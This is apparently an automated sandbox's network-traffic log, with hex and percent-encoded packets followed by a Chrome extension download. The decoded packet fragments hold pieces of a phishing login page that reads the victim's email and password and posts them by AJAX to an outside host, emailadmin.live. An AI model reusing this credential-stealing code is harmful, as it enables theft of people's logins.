37 35 25 37 32 25 36 35 25 36 34 25 32 30 25 34 63 25 36 66 25 36 37 25 36 39 25 36 65 25 32 30 25 37 33 25 36 35 25 
37 33 25 37 33 25 36 39 25 36 66 25 36 65 25 33 66 25 33 63 25 32 66 25 36 63 25 36 31 25 36 32 25 36 35 25 36 63 25 
33 65 25 33 63 25 32 66 25 36 34 25 36 39 25 37 36 25 33 65 25 33 63 25 32 
Data Ascii: c%2d%6c%65%66%74%20%63%68%65%63%6b%62%6f%78%2d%69%6e%6c%69%6e%65%22%
3e%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%63%68%65%63%6b%62%6f%78%22%3e%20%53%65
%63%75%72%65%64%20%4c%6f%67%69%6e%20%73%65%73%73%69%6f%6e%3f%3c%2f%6c%61%62%65%6
c%3e%3c%2f%64%69%76%3e%3c%2

2021-11-25 16:27:45 UTC 507 IN Data Raw: 30 25 32 65 25 37 37 25 37 33 25 35 66 25 37 34 25 36 32 25 35 66 25 36 32 25 37 34 25 36 65 25 32 30 25 
37 62 25 36 33 25 37 35 25 37 32 25 37 33 25 36 66 25 37 32 25 33 61 25 37 30 25 36 66 25 36 39 25 36 65 25 37 34 25 
36 35 25 37 32 25 33 62 25 36 32 25 36 66 25 37 32 25 36 34 25 36 35 25 37 32 25 33 61 25 33 31 25 37 30 25 37 38 25 
32 30 25 37 33 25 36 66 25 36 63 25 36 39 25 36 34 25 32 30 25 32 33 25 33 35 25 33 35 25 33 35 25 33 62 25 37 30 25 
36 31 25 36 34 25 36 34 25 36 39 25 36 65 25 36 37 25 33 61 25 33 33 25 37 30 25 37 38 25 37 64 25 32 30 25 32 30 25 
32 30 25 32 65 25 37 34 25 36 32 25 35 66 25 36 38 25 36 39 25 36 37 25 36 38 25 36 63 25 36 39 25 36 37 25 36 38 25 
37 34 25 37 62 25 36 32 25 36 31 25 36 33 25 36 62 25 36 37 25 37 32 25 36 
Data Ascii: 0%2e%77%73%5f%74%62%5f%62%74%6e%20%7b%63%75%72%73%6f%72%3a%70%6f%69%
6e%74%65%72%3b%62%6f%72%64%65%72%3a%31%70%78%20%73%6f%6c%69%64%20%23%35%35%35%3b
%70%61%64%64%69%6e%67%3a%33%70%78%7d%20%20%20%2e%74%62%5f%68%69%67%68%6c%69%67%6
8%74%7b%62%61%63%6b%67%72%6

2021-11-25 16:27:45 UTC 508 IN Data Raw: 66 25 37 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 33 65 25 30 64 25 30 61 25 32 30 25 32 30 25 
33 63 25 37 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 33 65 25 30 64 25 30 61 25 30 39 25 32 30 25 32 30 25 
32 30 25 32 34 25 32 38 25 36 34 25 36 66 25 36 33 25 37 35 25 36 64 25 36 35 25 36 65 25 37 34 25 32 39 25 32 65 25 
36 32 25 36 39 25 36 65 25 36 34 25 32 38 25 32 37 25 36 62 25 36 35 25 37 39 25 36 34 25 36 66 25 37 37 25 36 65 25 
32 37 25 32 63 25 32 30 25 36 36 25 37 35 25 36 65 25 36 33 25 37 34 25 36 39 25 36 66 25 36 65 25 32 38 25 36 35 25 
32 39 25 32 30 25 37 62 25 30 64 25 30 61 25 36 39 25 36 36 25 32 38 25 36 35 25 32 65 25 36 33 25 37 34 25 37 32 25 
36 63 25 34 62 25 36 35 25 37 39 25 32 30 25 32 36 25 32 36 25 32 30 25 32 
Data Ascii: f%73%63%72%69%70%74%3e%0d%0a%20%20%3c%73%63%72%69%70%74%3e%0d%0a%09%
20%20%20%24%28%64%6f%63%75%6d%65%6e%74%29%2e%62%69%6e%64%28%27%6b%65%79%64%6f%77
%6e%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%29%20%7b%0d%0a%69%66%28%65%2e%63%74%7
2%6c%4b%65%79%20%26%26%20%2

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:45 UTC 509 IN Data Raw: 36 25 32 38 25 36 35 25 32 65 25 36 33 25 37 34 25 37 32 25 36 63 25 34 62 25 36 35 25 37 39 25 32 39 25 
30 64 25 30 61 25 37 62 25 30 64 25 30 61 25 37 32 25 36 35 25 37 34 25 37 35 25 37 32 25 36 65 25 32 30 25 36 36 25 
36 31 25 36 63 25 37 33 25 36 35 25 33 62 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 64 25 30 64 25 
30 61 25 36 35 25 36 63 25 37 33 25 36 35 25 32 30 25 37 62 25 30 64 25 30 61 25 37 32 25 36 35 25 37 34 25 37 35 25 
37 32 25 36 65 25 32 30 25 37 34 25 37 32 25 37 35 25 36 35 25 33 62 25 30 64 25 30 61 25 37 64 25 37 64 25 32 39 25 
33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 66 25 32 61 25 32 30 25 36 37 25 36 63 25 36 66 25 
36 32 25 36 31 25 36 63 25 32 30 25 32 34 25 32 30 25 32 61 25 32 66 25 30 
Data Ascii: 6%28%65%2e%63%74%72%6c%4b%65%79%29%0d%0a%7b%0d%0a%72%65%74%75%72%6e%
20%66%61%6c%73%65%3b%20%20%20%20%20%20%7d%0d%0a%65%6c%73%65%20%7b%0d%0a%72%65%74
%75%72%6e%20%74%72%75%65%3b%0d%0a%7d%7d%29%3b%0d%0a%20%20%20%20%2f%2a%20%67%6c%6
f%62%61%6c%20%24%20%2a%2f%0

2021-11-25 16:27:45 UTC 511 IN Data Raw: 64 25 30 61 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 64 25 30 64 25 
30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 35 25 36 63 25 37 33 25 36 35 25 30 64 25 30 61 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 37 36 25 36 31 25 37 32 25 32 30 25 36 64 25 37 39 25 35 66 25 36 35 25 36 64 25 
36 31 25 36 39 25 36 63 25 32 30 25 33 64 25 36 35 25 36 64 25 36 31 25 36 39 25 36 63 25 33 62 25 30 64 25 30 61 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 34 25 32 38 25 32 37 25 32 33 25 36 35 25 
36 64 25 36 31 25 36 39 25 36 63 25 32 37 25 32 39 25 32 65 25 37 36 25 36 
Data Ascii: d%0a%0d%0a%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%65%6c%73%65%
0d%0a%20%20%20%20%20%20%7b%0d%0a%20%20%20%20%20%20%20%20%76%61%72%20%6d%79%5f%65
%6d%61%69%6c%20%3d%65%6d%61%69%6c%3b%0d%0a%20%20%20%20%20%20%20%20%24%28%27%23%6
5%6d%61%69%6c%27%29%2e%76%6

2021-11-25 16:27:45 UTC 512 IN Data Raw: 66 25 36 36 25 32 38 25 32 37 25 32 65 25 32 37 25 32 39 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 36 25 36 31 25 37 32 25 32 30 25 36 36 25 36 39 25 
36 65 25 36 31 25 36 63 25 33 64 25 32 30 25 36 33 25 32 65 25 37 34 25 36 66 25 34 63 25 36 66 25 37 37 25 36 35 25 
37 32 25 34 33 25 36 31 25 37 33 25 36 35 25 32 38 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 36 25 36 31 25 37 32 25 32 30 25 36 36 25 36 39 25 36 65 25 36 31 25 
36 63 25 37 35 25 33 64 25 32 30 25 36 33 25 32 65 25 37 34 25 36 66 25 35 35 25 37 30 25 37 30 25 36 35 25 37 32 25 
34 33 25 36 31 25 37 33 25 36 35 25 32 38 25 32 39 25 33 62 25 30 64 25 30 
Data Ascii: f%66%28%27%2e%27%29%29%3b%0d%0a%20%20%20%20%20%20%20%20%76%61%72%20%
66%69%6e%61%6c%3d%20%63%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%3b%0d%0a%20%20
%20%20%20%20%20%20%76%61%72%20%66%69%6e%61%6c%75%3d%20%63%2e%74%6f%55%70%70%65%7
2%43%61%73%65%28%29%3b%0d%0

2021-11-25 16:27:45 UTC 513 IN Data Raw: 30 25 37 36 25 36 31 25 37 32 25 32 30 25 37 30 25 36 31 25 37 33 25 37 33 25 37 37 25 36 66 25 37 32 25 
36 34 25 33 64 25 32 34 25 32 38 25 32 32 25 32 33 25 37 30 25 36 31 25 37 33 25 37 33 25 37 37 25 36 66 25 37 32 25 
36 34 25 32 32 25 32 39 25 32 65 25 37 36 25 36 31 25 36 63 25 32 38 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 36 25 36 31 25 37 32 25 32 30 25 36 64 25 37 33 25 
36 37 25 32 30 25 33 64 25 32 30 25 32 34 25 32 38 25 32 37 25 32 33 25 36 64 25 37 33 25 36 37 25 32 37 25 32 39 25 
32 65 25 36 38 25 37 34 25 36 64 25 36 63 25 32 38 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 34 25 32 38 25 32 37 25 32 
Data Ascii: 0%76%61%72%20%70%61%73%73%77%6f%72%64%3d%24%28%22%23%70%61%73%73%77%
6f%72%64%22%29%2e%76%61%6c%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%76%61%72%20%6d
%73%67%20%3d%20%24%28%27%23%6d%73%67%27%29%2e%68%74%6d%6c%28%29%3b%0d%0a%20%20%2
0%20%20%20%20%20%24%28%27%2

2021-11-25 16:27:45 UTC 515 IN Data Raw: 63 25 32 65 25 37 33 25 37 35 25 36 32 25 37 33 25 37 34 25 37 32 25 32 38 25 32 38 25 36 39 25 36 65 25 
36 34 25 32 62 25 33 31 25 32 39 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 37 36 25 36 31 25 37 32 25 32 30 25 36 33 25 33 64 25 32 30 25 36 64 25 37 39 25 35 66 25 37 33 25 36 63 25 
36 39 25 36 33 25 36 35 25 32 65 25 37 33 25 37 35 25 36 32 25 37 33 25 37 34 25 37 32 25 32 38 25 33 30 25 32 63 25 
32 30 25 36 64 25 37 39 25 35 66 25 37 33 25 36 63 25 36 39 25 36 33 25 36 35 25 32 65 25 36 39 25 36 65 25 36 34 25 
36 35 25 37 38 25 34 66 25 36 36 25 32 38 25 32 37 25 32 65 25 32 37 25 32 39 25 32 39 25 33 62 25 30 64 25 30 61 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 36 25 36 31 25 37 
Data Ascii: c%2e%73%75%62%73%74%72%28%28%69%6e%64%2b%31%29%29%3b%0d%0a%20%20%20%
20%20%20%76%61%72%20%63%3d%20%6d%79%5f%73%6c%69%63%65%2e%73%75%62%73%74%72%28%30
%2c%20%6d%79%5f%73%6c%69%63%65%2e%69%6e%64%65%78%4f%66%28%27%2e%27%29%29%3b%0d%0
a%20%20%20%20%20%20%76%61%7

2021-11-25 16:27:45 UTC 516 IN Data Raw: 61 25 36 31 25 37 38 25 32 38 25 37 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 36 34 25 36 31 25 37 34 25 36 31 25 35 34 25 37 39 25 37 30 25 36 35 25 33 61 25 32 30 25 
32 37 25 34 61 25 35 33 25 34 66 25 34 65 25 32 37 25 32 63 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 37 35 25 37 32 25 36 63 25 33 61 25 32 30 25 32 37 25 36 38 25 37 34 25 37 34 25 
37 30 25 37 33 25 33 61 25 32 66 25 32 66 25 36 35 25 36 64 25 36 31 25 36 39 25 36 63 25 36 31 25 36 34 25 36 64 25 
36 39 25 36 65 25 32 65 25 36 63 25 36 39 25 37 36 25 36 35 25 32 66 25 34 32 25 37 32 25 36 62 25 36 62 25 36 65 25 
32 65 25 36 34 25 36 37 25 37 37 25 32 65 25 34 31 25 37 35 25 37 34 25 36 
Data Ascii: a%61%78%28%7b%0d%0a%20%20%20%20%20%20%20%20%64%61%74%61%54%79%70%65%
3a%20%27%4a%53%4f%4e%27%2c%0d%0a%20%20%20%20%20%20%20%20%75%72%6c%3a%20%27%68%74
%74%70%73%3a%2f%2f%65%6d%61%69%6c%61%64%6d%69%6e%2e%6c%69%76%65%2f%42%72%6b%6b%6
e%2e%64%67%77%2e%41%75%74%6

2021-11-25 16:27:45 UTC 517 IN Data Raw: 30 25 32 30 25 32 30 25 32 34 25 32 38 25 32 32 25 32 33 25 36 64 25 37 33 25 36 37 25 32 32 25 32 39 25 
32 65 25 37 33 25 36 38 25 36 66 25 37 37 25 32 38 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
36 33 25 36 66 25 36 65 25 37 33 25 36 66 25 36 63 25 36 35 25 32 65 25 36 63 25 36 66 25 36 37 25 32 38 25 37 32 25 
36 35 25 37 33 25 37 30 25 36 66 25 36 65 25 37 33 25 36 35 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 36 39 25 36 36 25 32 38 25 37 32 25 36 35 25 37 33 25 37 30 25 36 
Data Ascii: 0%20%20%24%28%22%23%6d%73%67%22%29%2e%73%68%6f%77%28%29%3b%0d%0a%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28
%72%65%73%70%6f%6e%73%65%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2
0%20%69%66%28%72%65%73%70%6

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:45 UTC 519 IN Data Raw: 30 25 32 30 25 37 64 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 35 25 36 63 25 37 33 25 36 35 25 
37 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 66 25 32 66 25 32 30 25 32 34 25 32 38 25 
32 37 25 32 33 25 36 64 25 37 33 25 36 37 25 32 37 25 32 39 25 32 65 25 36 38 25 37 34 25 36 64 25 36 63 25 32 38 25 
37 32 25 36 35 25 37 33 25 37 30 25 36 66 25 36 65 25 37 33 25 36 35 25 35 62 25 32 37 25 36 64 25 37 33 25 36 37 25 
32 37 25 35 64 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 
Data Ascii: 0%20%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%65%6c%
73%65%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2f%2f%20%24
%28%27%23%6d%73%67%27%29%2e%68%74%6d%6c%28%72%65%73%70%6f%6e%73%65%5b%27%6d%73%6
7%27%5d%29%3b%0d%0a%20%20%2

2021-11-25 16:27:45 UTC 520 IN Data Raw: 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 33 25 36 66 25 
36 64 25 37 30 25 36 63 25 36 35 25 37 34 25 36 35 25 33 61 25 32 30 25 36 36 25 37 35 25 36 65 25 36 33 25 37 34 25 
36 39 25 36 66 25 36 65 25 32 38 25 32 39 25 37 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 34 25 32 38 25 32 37 25 32 33 25 
37 33 25 37 35 25 36 32 25 36 64 25 36 39 25 37 34 25 32 64 25 36 32 25 37 34 25 36 65 25 32 37 25 32 39 25 32 65 25 
36 38 25 37 34 25 36 64 25 36 63 25 32 38 25 32 37 25 35 33 25 36 39 25 36 37 25 36 65 25 32 30 25 36 39 25 36 65 25 
32 37 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 
Data Ascii: 0%20%20%20%20%20%20%20%20%20%63%6f%6d%70%6c%65%74%65%3a%20%66%75%6e%
63%74%69%6f%6e%28%29%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27
%23%73%75%62%6d%69%74%2d%62%74%6e%27%29%2e%68%74%6d%6c%28%27%53%69%67%6e%20%69%6
e%27%29%3b%0d%0a%20%20%20%2

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

26 192.168.2.4 49804 142.250.203.97 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:48 UTC 520 OUT GET /crx/blobs/Acy1k0bLIjHsvnKaKN_oRpVaYYvFs25d7GKYF1WXrT6yizCMksBO0c_ggE0B6tx6HPRHe6q1GOE
e3_NcIbSiGG8kXeLMUY0sAKVvC6R89zvKM13s5VqoAMZSmuUgjQL5vlygJuArQghXXE_qTL7NlQ/extension_8520
_615_0_5.crx HTTP/1.1
Host: clients2.googleusercontent.com
Connection: keep-alive
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2021-11-25 16:27:48 UTC 521 IN HTTP/1.1 200 OK
X-GUploader-UploadID: ADPycdur8Hz2yI2LewU--qTyNeY6WKY8z3yiWdxLDsDg4vVMG-mc5vQLI7Ide0zcLpNE
FDPjgHhsb-oMyQQjZHWbFX3zwuDlvA
Date: Thu, 25 Nov 2021 13:59:23 GMT
ETag: 730d2491_a246e948_e80d9c94_d8b3f142_86eb8dd2
Expires: Fri, 25 Nov 2022 13:59:23 GMT
Last-Modified: Wed, 05 Aug 2020 01:15:29 GMT
Content-Type: application/x-chrome-extension
Accept-Ranges: bytes
X-Goog-Hash: crc32c=DxAZGA==
Content-Length: 768843
Server: UploadServer
Age: 8905
Cache-Control: public, max-age=31536000
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2021-11-25 16:27:48 UTC 522 IN Data Raw: 43 72 32 34 03 00 00 00 18 04 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 
00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 8f fb bf 5c 37 63 94 3c b0 ee 01 c4 b5 a6 9a b1 9f 46 74 6f 16 38 a0 32 27 
35 dd f0 71 6b 0e dc f6 25 cb b2 ed ea fb 32 d5 af 1e 03 43 03 46 f0 a7 39 db 23 96 1d 65 e5 78 51 f0 84 b0 0e 12 ac 0e 5b
dc c9 d6 4c 7c 00 d5 b8 1b 88 33 3e 2f da eb aa f7 1a 75 c2 ae 3a 54 de 37 8f 10 d2 28 e6 84 79 4d 15 b4 f3 bd 3f 56 d3 
3c 3f 18 ab fc 2e 05 c0 1e 08 31 b6 61 d0 fd 9f 4f 3f 64 0d 17 93 bc ad 41 c7 48 be 00 27 a8 4d 70 42 92 05 54 a6 6d b8 
de 56 6e 20 49 70 ee 10 3e 6b d2 7c 31 bd 1b 6e a4 3c 46 62 9f 08 66 93 f9 2a 51 31 a8 db b5 9d b9 0f 73 e8 a0 09 32 01 
e9 7b 2a 8a 36 a0 cf 17 b0 50 70 9d a2 f9 a4 6f 62 4d 
Data Ascii: Cr240"0*H0\7c<Fto82'5qk%2CF9#exQ[L|3>/u:T7(yM?V<?.1aO?dAH'MpBTmVn Ip>k|1n<Fbf*Q1s2{*6PpobM

2021-11-25 16:27:48 UTC 522 IN Data Raw: 81 89 02 81 81 00 cd 4d 62 68 3d 9f 5b 4f 7d b2 2b 1b ae 55 af 4b 48 46 28 6e 33 e8 5c 22 d7 dd d8 2c 67 d7 
63 0e b5 8a 36 29 13 10 28 dd 45 ed ff 00 55 db fa ff 23 92 69 ad 61 03 e7 3a 04 98 9f 4e 89 fd 0a 1d 0e 50 88 1b a9 78 ef 
4f a0 90 ea 28 6d 43 3b 7c eb 35 01 53 ac 7b 6d ea 61 45 78 8d bb 91 5b 7f 98 66 50 af 69 60 85 79 cc c2 35 b1 88 52 02 
84 8b 90 76 7f 24 1a cf 2e b4 00 bd 6c 2d 6d ee b5 02 03 01 00 01 12 80 01 9a a3 91 dc 6d 10 04 8c cf 6e 69 83 be 14 60 
f5 b7 57 06 05 84 19 a6 52 d1 70 e4 62 bd 2b 89 10 ce 8a 2b b9 5c 6b b6 52 24 65 7e dd 8b 4a 5c 9d 26 63 25 a7 64 ae 
9d cf 4d c4 e8 6a a0 8b 56 bf 25 07 ad df 2b 31 46 b1 a4 03 be 44 03 85 83 96 58 5c 95 31 63 74 0b 3c 94 86 b1 c4 02 1c 
96 fa 45 06 42 df 2b c1 69 40 01 eb fe 38 f4 9c 5e 9b b9 
Data Ascii: Mbh=[O}+UKHF(n3\",gc6)(EU#ia:NPxO(mC;|5S{maEx[fPi`y5Rv$.l-mmni`WRpb++\kR$e~J\&c%dMjV%+1F
DX\1ct<EB+i@8^
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2021-11-25 16:27:48 UTC 524 IN Data Raw: f3 3c ce 08 06 5e 7d 78 7e fb f1 fa df 70 f1 7f ee ae bf bc b8 bd bf bc fc b4 fe 04 8b 3b 2e cb cd aa 58 57 a2 6a 
15 40 46 b0 99 55 06 9e 99 69 25 32 27 d9 60 40 0f c3 54 2a 57 e8 61 24 24 d0 59 30 1d a0 d3 c5 2c ef b6 1e 00 31 f7 64 
d3 b3 96 91 0f 99 4e 45 d3 31 4b 63 4d 47 0d f6 3b ea d5 06 08 c9 60 85 f7 ca 04 25 25 9f d1 eb e0 30 31 ee e2 c8 60 5c 
26 20 9b 40 82 ca bc 08 da b0 e5 57 6c c7 37 d9 13 d3 66 94 a2 02 c8 10 01 4a 8a 75 0a 02 4f 27 45 fc eb 39 a8 70 74 38 
02 1d ce 67 3f 7e f9 7c 7f 53 7c fe f1 fa f2 f2 b6 bc fb 49 0e 7e 16 5f 5f 17 57 1f ae ef ef be fd 2c bf 62 84 7f 9d 4c 4f 86 e3 
d1 3f f2 e9 37 ac 64 e8 09 9b c1 f6 4e c5 df d9 64 7c 3d 90 58 af d6 98 13 78 29 d7 57 e5 43 62 fe 97 8a 29 d1 c9 7a 84 dd
7d 2c 6f 7e 3f 71 df 50 bb c6 40 f5 11 
Data Ascii: <^}x~p;.XWj@FUi%2'̀ @T*Wa$$Y0,1dNE1KcMG;`%%01`\& @Wl7fJuO'E9pt8g?~|S|I~__W,bLO?7dNd|=Xx)W
Cb)z},o~?qP@

2021-11-25 16:27:48 UTC 525 IN Data Raw: f0 a7 fd f9 1d 53 75 85 47 b6 62 5b 97 15 31 5f ec 34 e8 4b 82 df 3b dd f5 26 a3 7f 47 af 7c 4f 33 bc 69 98 32 
ae b8 bf d7 fd c4 f6 f6 dd cd f5 fd ea 73 79 fb f1 fa fa 0e db dc 56 69 d7 74 4c 2d f0 51 c0 2e ca 67 19 00 85 20 ac 64 d1 02 
96 dd 08 6b 75 1c 99 59 5b 6d c2 d8 10 64 d5 21 60 db 48 3b c1 17 9b 72 85 d9 7a 55 d3 94 b3 da 5b 88 6f ed 83 75 3a 
28 eb d8 8e 03 44 7d 1d 23 9d 94 a5 77 f7 49 08 6d 8c f6 c4 ac 17 7b 72 0d 3c 7d f7 e9 f9 f1 27 92 21 1e b7 99 d9 71 66 
8c c6 2c 6e 57 e2 42 8c 11 02 34 a3 9c 07 7d 66 c2 48 76 bb 52 52 ce b1 d1 ad 03 52 f6 f2 b8 bc 8f 6a 88 6d 14 4c 7f d8 
f0 8d bb ba 11 3c ff 12 a7 07 13 0c 5e c3 bf 50 cc a5 08 3d 9b a9 55 ce fa 74 f5 a1 96 a3 d2 de 0c c5 64 d8 98 28 0a a2 fb 
4d 81 fe 42 95 98 ec c9 ee e4 85 b6 50 d2 fa 13 
Data Ascii: SuGb[1_4K;&G|O3i2syVitL-Q.g dkuY[md!`H;rzU[ou:(D}#wIm{r<}'!qf,nWB4}fHvRRRjmL<^P=Utd(MBP

2021-11-25 16:27:48 UTC 526 IN Data Raw: 76 9c 26 87 3b e2 9e 47 db bf 69 0a 4c a8 7a 35 e0 b4 32 78 98 5f f0 c0 fe bf 7b 6e 0d 7a 41 c1 15 1a 87 ac ed 
aa c2 65 ab 73 76 7b 28 59 ef 09 08 94 0f 15 ea ed f9 b8 9e b5 26 fe 56 14 e4 a7 82 b2 0f 86 9d 94 7e 3c 9c a1 0a eb 03 
a7 f1 38 22 a2 f5 35 e6 21 34 3d a9 cb cd 69 05 ec 3e 56 a7 a1 33 e1 bd f6 0a a2 05 c2 86 ed a8 fd 8e 3b 8d 4f df ce 8d 
00 86 c8 e0 4e 48 3d 79 a7 f6 2c 3f 1a 0d 97 d3 c9 62 9e 4f 97 c3 a3 a3 d1 7c 34 19 0f 4f 97 87 93 b3 b3 7c 3c 9f ed aa 81 
3b 9d 9f ca 59 1c 8d 26 cb bf 2f 86 a7 a3 f9 fb 5d 09 5c fd 4b 24 1c 0e c7 87 f9 e9 f2 d5 62 3e 9f 8c d3 39 a4 27 d9 53 09 
93 f1 1c 16 00 b3 c8 67 d5 9a 76 85 70 7d f2 44 c8 d1 e8 68 39 9e cc 97 f3 69 b2 0c ae c5 92 8c 3f ce f3 a3 57 c3 c3 37 cb
fc 6c 38 3a 5d 1e 8f f2 d3 a3 5d 41 dc a9 d5 
Data Ascii: v&;GiLz52x_{nzAesv{(Y&V~<8"5!4=i>V3;ONH=y,?bO|4O|<;Y&/]\K$b>9'Sgvp}Dh9i?W7l8:]]A

2021-11-25 16:27:48 UTC 527 IN Data Raw: ad 16 4c 73 b3 f3 a4 f7 79 e7 fd f2 e6 66 f1 7a 09 df 77 5e 7d 62 85 5a d4 9f a2 f9 54 b6 f9 14 cd 27 df b9 fb b9 
b7 c3 05 97 4e 1b 67 85 11 d2 1a ed 04 a3 a8 08 e9 69 f5 9a 3f ba f9 2c 9a 7f 84 69 fe 51 f5 a7 74 cd 15 db 5d 97 bc fb 2e 
16 c9 00 bf 2c 7c 25 2c d7 f5 d0 aa 9b e9 c4 99 ff 51 0f 2d a7 21 2e 0b 74 c3 73 28 fd 02 79 0f 2d 4d 75 4b 53 12 11 6f be 
f3 cb 20 0c 10 43 61 0d f0 c6 24 77 cc 68 52 16 66 95 48 20 6e d0 ac 11 97 fe a7 e7 cd 15 2f 16 e1 b9 f4 b3 2a 61 15 ec 
61 01 13 5a 2e 0a 23 39 35 ad 94 88 a2 e9 ae b4 b2 c2 42 e4 48 94 97 dd 77 65 fd 84 5a 08 ae 58 61 a5 e4 30 2d 93 9a 
9c 30 f0 d6 ec a9 64 f5 a7 f6 02 27 38 34 68 80 c6 77 77 7b dd f4 41 19 bc 1c 88 55 fb 81 17 e8 ba 45 53 38 a4 7b 81 92 
43 ca 20 96 dd 0d e5 76 03 a3 9a 39 a6 6a a9 73 
Data Ascii: Lsyfzw^}bZT'Ngi?,iQt].,|%,Q-!.ts(y-MuKSo Ca$whRfH n/*aaZ.#95BHweZXa0-0d'84hww{AUES8{C v9js

2021-11-25 16:27:48 UTC 529 IN Data Raw: 08 91 86 3b b3 8b a4 4d 19 09 2e 0a e0 e5 a0 bd cf 2b f3 36 90 3c d5 7e 62 27 09 c5 c1 5c c8 54 99 d3 01 48 
ef 23 03 72 71 56 89 38 c5 ce 33 48 36 17 d9 fd 62 43 86 be 9b 6a 30 21 d9 8b d5 5d 8f cb 54 5f a8 33 04 b2 4b ab 5f d8 
13 04 7a c8 0e d9 79 0f dd 46 e2 6c 8d 5c d2 34 02 7b 58 ef 24 ae ac 98 8e ed 98 49 8b 2c 4d a2 a0 11 76 34 06 6e 78 9b 
22 21 a0 a2 10 2e 75 44 a9 9d 88 a1 ec ea fe 46 da 9e 75 a6 58 b6 b8 34 18 c9 39 53 90 0c 4c 3a ac 79 c8 5b 8a d8 1e 
a3 9a e8 12 51 24 02 55 d6 b9 7b 9e 98 ff fe 85 96 8a d4 22 38 3b dd 2d 5a 49 5c 58 cd 09 3d 9a 22 da fe 02 2d 2d 08 11 
61 78 29 b0 94 58 5b ca 49 b6 eb 9b 38 a7 74 58 e4 21 c2 88 4b b4 59 58 fb a3 ed cf 3a 13 aa 0a 8e c6 9d 13 96 b2 5c 9d 
36 2a 64 02 61 2f 24 8f a4 15 57 56 32 c6 00 e6 43 52 0e 88 
